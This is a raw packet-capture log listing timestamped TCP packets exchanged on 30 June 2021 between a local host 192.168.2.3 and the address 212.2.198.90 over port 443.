Jun 30, 2021 20:06:08.565386057 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.565398932 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.565417051 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.565454960 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.565455914 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.565474033 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.565495014 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.565507889 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.565514088 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.565530062 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.565540075 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.565547943 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.565562963 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.565578938 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.565579891 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.565597057 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.565604925 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.565613985 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.565628052 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.565629005 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.565646887 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.565663099 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.565664053 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.565682888 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.565696001 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.565697908 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.565710068 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.565721989 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.565736055 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.565748930 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.565766096 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.565772057 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.565781116 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.565798044 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.565807104 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.565824032 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.565834999 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.565839052 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.565850973 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.565870047 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.565877914 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.565882921 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.565896988 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.565910101 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.565918922 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.565927029 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.565939903 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.565944910 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.565952063 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.565972090 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.565973997 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.565990925 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.566004038 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.566006899 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.566020012 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.566026926 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.566032887 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.566046000 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.566061974 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.566071987 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.566082954 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.566097975 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.566109896 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.566112041 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.566128016 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.566145897 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.566157103 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.566167116 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.566184998 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.566186905 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.566205025 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.566268921 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.566272974 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.566303015 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.566344976 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.566385984 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.566431046 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.566685915 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.566741943 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.566788912 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.566831112 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.566895008 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.566936970 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.567012072 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567032099 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567049026 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567070007 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567090034 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567091942 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.567106009 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567142010 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567142963 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.567159891 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567167997 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.567177057 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567198038 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567212105 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.567212105 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567230940 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567243099 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567260027 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.567266941 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567275047 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.567289114 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567298889 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.567311049 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567323923 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567337036 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567343950 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.567349911 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567363977 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567372084 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.567377090 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567394018 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567410946 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567428112 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567440987 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567454100 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567457914 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.567466974 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567488909 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567507029 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567514896 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.567523956 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567538977 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.567540884 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567559958 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567567110 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.567570925 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567583084 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567598104 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567615986 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567622900 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.567637920 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567655087 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.567657948 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567676067 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567677975 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.567688942 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567701101 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567714930 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567728996 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567745924 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.567749977 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567766905 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567781925 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.567785978 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567799091 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567805052 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.567814112 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567827940 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567843914 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567843914 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.567863941 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567882061 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567886114 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.567898035 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567908049 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.567914963 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567933083 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567945004 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567945004 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.567956924 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567975998 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.567994118 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568008900 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568010092 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.568026066 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568037987 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.568037987 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568061113 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568069935 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.568085909 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568095922 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.568101883 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568121910 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568142891 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568150043 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.568162918 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568176985 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568190098 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568191051 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.568205118 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568222046 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568233013 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.568238974 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568255901 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568270922 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.568275928 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568294048 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568301916 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.568306923 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568320036 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568334103 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568351030 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568356991 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.568367004 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568387032 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.568387032 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568409920 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568428993 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568428993 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.568445921 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568459988 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568465948 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.568476915 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568506002 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568506002 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.568522930 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568541050 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568541050 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.568557978 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568571091 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.568581104 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568597078 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568607092 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.568617105 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568624973 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.568635941 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568653107 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568660975 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.568669081 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568686008 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568686008 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.568702936 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568706989 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.568723917 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568738937 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.568739891 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568754911 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568770885 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.568775892 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568798065 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568804026 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.568818092 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568835974 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568851948 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.568852901 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568867922 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568885088 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568902969 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568908930 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.568919897 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568937063 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568953037 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.568954945 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568973064 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.568994045 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569004059 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.569009066 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569025040 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569045067 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.569046021 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569066048 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569072962 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.569083929 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569102049 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569116116 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569120884 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.569129944 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569149017 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569156885 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.569163084 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569175005 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569190025 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569206953 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569214106 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.569225073 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569233894 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.569242001 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569259882 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569267988 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.569277048 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569291115 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569304943 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569312096 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.569325924 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569341898 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.569345951 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569364071 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569380999 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569381952 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.569400072 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569406033 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.569413900 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569427967 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569447041 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569463015 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569466114 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.569478989 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569494963 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569509983 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.569514990 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569533110 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569546938 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569555998 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.569567919 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569586992 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569608927 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.569608927 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569627047 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569637060 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.569639921 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569658041 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569674015 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569674015 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.569693089 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569696903 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.569705963 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569721937 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569734097 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.569740057 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569751978 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569765091 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569775105 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.569782019 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569798946 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.569798946 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569816113 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569837093 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569839001 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.569858074 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569859028 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.569871902 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569885015 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569905043 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569916010 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.569921017 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569945097 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569957972 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.569962978 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569981098 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.569981098 CEST	49720	443	192.168.2.3	212.2.198.90
